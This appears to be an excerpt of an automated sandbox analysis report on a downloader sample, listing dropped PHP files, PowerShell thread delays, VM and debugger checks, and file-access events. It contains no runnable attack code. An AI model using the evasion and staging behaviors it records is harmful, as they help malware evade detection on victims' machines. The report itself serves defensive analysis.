Source: php_zend_test.dll.21.dr	Binary or memory string: ZEND_TEST.OBSERVER.ENABLED0ZEND_TEST.OBSERVER.SHOW_OUTPUT1ZEND_TEST.OBSERVER.OBSERVE_ALLZEND_TEST.OBSERVER.OBSERVE_INCLUDESZEND_TEST.OBSERVER.OBSERVE_FUNCTIONSZEND_TEST.OBSERVER.OBSERVE_DECLARINGZEND_TEST.OBSERVER.OBSERVE_FUNCTION_NAMESZEND_TEST.OBSERVER.SHOW_RETURN_TYPEZEND_TEST.OBSERVER.SHOW_RETURN_VALUEZEND_TEST.OBSERVER.SHOW_INIT_BACKTRACEZEND_TEST.OBSERVER.SHOW_OPCODEZEND_TEST.OBSERVER.SHOW_OPCODE_IN_USER_HANDLERZEND_TEST.OBSERVER.FIBER_INITZEND_TEST.OBSERVER.FIBER_SWITCHZEND_TEST.OBSERVER.FIBER_DESTROYZEND_TEST.OBSERVER.EXECUTE_INTERNALCANNOT CALL %.*S() DYNAMICALLYSOURCE_STRINGFILENAMEPOSITIONARGSTRVARIABLEBYTES3PARAMSTDCLASSARG1TRAVERSABLEARG2OBJECTZENDTESTUNITENUMPARAMETEROBJ_OR_CLASSMETHODMESSAGETHROWABLEELEMENTSEXCEPTIONZENDTESTNS\UNLIKELYCOMPILEERRORZEND_TEST_ARRAY_RETURNZEND_TEST_NULLABLE_ARRAY_RETURNZEND_TEST_VOID_RETURNZEND_TEST_COMPILE_STRINGZEND_TEST_DEPRECATEDZEND_TEST_ALIASEDZEND_TEST_DEPRECATED_ALIASEDZEND_CREATE_UNTERMINATED_STRINGZEND_TERMINATE_STRINGZEND_LEAK_VARIABLEZEND_LEAK_BYTESZEND_STRING_OR_OBJECTZEND_STRING_OR_OBJECT_OR_NULLZEND_STRING_OR_STDCLASSZEND_STRING_OR_STDCLASS_OR_NULLZEND_ITERABLEZEND_WEAKMAP_ATTACHZEND_WEAKMAP_REMOVEZEND_WEAKMAP_DUMPZEND_GET_UNIT_ENUMZEND_TEST_PARAMETER_WITH_ATTRIBUTEZEND_GET_CURRENT_FUNC_NAMEZEND_CALL_METHODZEND_TEST_ZEND_INI_PARSE_QUANTITYZEND_TEST_ZEND_INI_PARSE_UQUANTITYZEND_TEST_ZEND_INI_STRZEND_GET_MAP_PTR_LASTZEND_TEST_CRASHZENDTESTNS2\NAMESPACED_FUNCZENDTESTNS2\NAMESPACED_DEPRECATED_FUNCZENDTESTNS2\NAMESPACED_ALIASED_FUNCZENDTESTNS2\NAMESPACED_DEPRECATED_ALIASED_FUNCZENDTESTNS2\ZENDSUBNS\NAMESPACED_FUNCZENDTESTNS2\ZENDSUBNS\NAMESPACED_DEPRECATED_FUNCZENDTESTNS2\ZENDSUBNS\NAMESPACED_ALIASED_FUNCZENDTESTNS2\ZENDSUBNS\NAMESPACED_DEPRECATED_ALIASED_FUNCIS_OBJECT__TOSTRINGRETURNSSTATICRETURNSTHROWABLEVARIADICTESTTESTMETHODNO_OVERRIDEOVERRIDECALLCALLSTATICZEND_TEST_DEPRECATEDGLOBALZEND_CONSTANT_ANAMESPACEDZENDTESTNS2\ZEND_CONSTANT_AZENDTESTNS2\ZENDSUBNS\ZEND_CONSTANT_A_ZENDTESTINTERFACEDUMMY_ZENDTESTCLASS_ZENDTESTCLASSALIAS_STATICPROPSTATICINTPROPINTPROPCLASSPROPCLASSUNIONPROPCOUNTABLECLASSINTERSECTIONPROPREADONLYPROP_ZENDTESTCHILDCLASS_ZENDTESTTRAITTESTPROPZENDTESTATTRIBUTEATTRIBUTEZENDTESTPARAMETERATTRIBUTEZENDTESTPROPERTYATTRIBUTEZENDTESTCLASSWITHMETHODWITHPARAMETERATTRIBUTEZENDTESTCHILDCLASSWITHMETHODWITHPARAMETERATTRIBUTEZENDTESTFORBIDDYNAMICCALLFOOBARZENDTESTSTRINGENUMTEST1TEST2TEST2\ABAZ42FORTYTWOZENDTESTINTENUMZENDTESTNS\FOOZENDTESTNS2\FOOZENDTESTNS2\ZENDSUBNS\FOOFOOPASS1
Source: php_zend_test.dll.21.dr	Binary or memory string: ZEND_TEST.OBSERVER.EXECUTE_INTERNAL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2106	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1405	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1276	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 649	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5494	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3106	Jump to behavior

Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\extras\ssl\legacy.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\deplister.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_intl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8apache2_4.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mysqli.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_xsl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icudt71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libpq.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sysvshm.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_shmop.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_pgsql.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_openssl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_enchant.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsasl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\glib-2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pgsql.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_imap.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-cgi.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuio71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8phpdbg.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_odbc.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\phpdbg.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\gmodule-2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_oci.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsodium.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_snmp.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_bz2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_tidy.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\nghttp2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_firebird.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\lib\enchant\libenchant2_hunspell.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_com_dotnet.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_fileinfo.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mbstring.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_opcache.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sockets.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuuc71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_oci8_19.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_exif.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zend_test.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_curl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_mysql.dll	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1]	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libenchant2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gmp.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssh2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_sqlite.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gettext.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ffi.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_odbc.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dl_test.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dba.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_soap.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ftp.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gd.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zip.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sodium.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuin71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ldap.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	API coverage: 9.0 %
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	API coverage: 2.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 1276 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep count: 649 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe TID: 9212	Thread sleep time: -72000s >= -30000s
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe TID: 9212	Thread sleep time: -330000s >= -30000s
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe TID: 8244	Thread sleep time: -51000s >= -30000s
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe TID: 8244	Thread sleep time: -240000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E42110 FindFirstFileExW,

12_2_00007FF658E42110

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: mshta.exe, 00000005.00000002.1888475276.000001E30CCA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWdClasserver5
Source: powershell.exe, 00000007.00000002.1833123657.000001F423E5F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Datacenter Edition (core installation, without Hyper-V)
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Datacenter Edition (without Hyper-V)
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Essential Server Solutions Edition (without Hyper-V)
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Standard Edition (without Hyper-V)
Source: mshta.exe, 00000005.00000003.1885470413.000001E30CCFD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1888760600.000001E30CCFD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCFD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2897796368.000001B97E658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2894827777.000001B97D02B000.00000004.00000020.00020000.00000000.sdmp, php_bot_downloader_v2-AVERAGE-BOI-CLN.exe, 0000000C.00000002.2016578426.00000248770D3000.00000004.00000020.00020000.00000000.sdmp, php_bot_downloader_v2-AVERAGE-BOI-CLN.exe, 0000000C.00000002.2016578426.000002487708D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Enterprise Edition (without Hyper-V)
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11Windows 10Windows Server 2022Windows Server, version 20H2Windows Server, version 2004Windows Server, version 1909Windows Server, version 1903Windows Server 2019Windows Server, version 1803Windows Server, version 1709Windows Server 2016Windows VistaWindows Server 2008Windows 7Windows Server 2008 R2Windows 8.1Windows Server 2012 R2Windows 8Windows Server 2012Unknown Windows versionUltimate EditionHome Basic EditionHome Premium EditionEnterprise EditionHome Basic N EditionProfessional EditionBusiness EditionStandard EditionDatacenter EditionSmall Business ServerStarter N EditionStarter EditionDatacenter Edition (core installation)Standard Edition (core installation)Enterprise Edition (core installation)Enterprise Edition for Itanium-based SystemsProfessional N EditionBusiness N EditionWeb Server EditionHPC EditionStorage Server Essentials EditionStorage Server Express EditionStorage Server Standard EditionStorage Server Workgroup EditionStorage Server Enterprise EditionEssential Server Solutions EditionSmall Business Server Premium EditionHome Premium N EditionEnterprise N EditionUltimate N EditionWeb Server Edition (core installation)Essential Business Server Management Server EditionEssential Business Server Management Security EditionEssential Business Server Management Messaging EditionFoundation EditionHome Server 2011 EditionEssential Server Solutions Edition (without Hyper-V)Standard Edition (without Hyper-V)Datacenter Edition (without Hyper-V)Enterprise Edition (without Hyper-V)Datacenter Edition (core installation, without Hyper-V)Standard Edition (core installation, without Hyper-V)Enterprise Edition (core installation, without Hyper-V)Hyper-V ServerStorage Server Express Edition (core installation)Storage Server Standard Edition (core installation)Storage Server Workgroup Edition (core installation)Storage Server Enterprise Edition (core installation)Small Business Server 2011 Essentials EditionServer For SB Solutions EditionSolutions Premium EditionSolutions Premium Edition (core installation)Server For SB Solutions EM EditionMultiPoint Server EditionEssential Server Solution Management EditionEssential Server Solution Additional EditionEssential Server Solution Management SVC EditionEssential Server Solution Additional SVC EditionSmall Business Server Premium Edition (core installation)Hyper Core V EditionEnterprise Edition (evaluation installation)MultiPoint Server Standard Edition (full installation)MultiPoint Server Premium Edition (full installation)Standard Edition (evaluation installation)Datacenter Edition (evaluation installation)Enterprise N Edition (evaluation installation)Storage Server Workgroup Edition (evaluation installation)Storage Server Standard Edition (evaluation installation)Windows 8 N EditionWindows 8 China EditionWindows 8 Single Language EditionWindows 8 EditionProfessional with Media Center Editioni%dMIPS R%d000Alpha %dPPC 6%02dIA64IA32AMD64ARM64Windows NTbuild %dbuild %d (%s)%s %s %d.%d build %d (%s)
Source: powershell.exe, 00000007.00000002.1833123657.000001F423E14000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Enterprise Edition (core installation, without Hyper-V)
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Standard Edition (core installation, without Hyper-V)
Source: php.exe, 00000018.00000002.2892213173.000001E12C0C9000.00000004.00000020.00020000.00000000.sdmp, php.exe, 0000001C.00000002.2892485381.0000014E5BB58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Hyper-V Server

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E333E8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_00007FF658E333E8

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E43384 GetProcessHeap,

12_2_00007FF658E43384

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E333E8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF658E333E8
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E2DD08 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF658E2DD08
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E2DEF0 SetUnhandledExceptionFilter,	12_2_00007FF658E2DEF0
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E2DF5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FF658E2DF5C
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FF7498CC4E4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00007FF7498CC4E4
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FF7498CBC50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_00007FF7498CBC50
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FF7498CC68C SetUnhandledExceptionFilter,	24_2_00007FF7498CC68C
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FFE1A530468 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_00007FFE1A530468

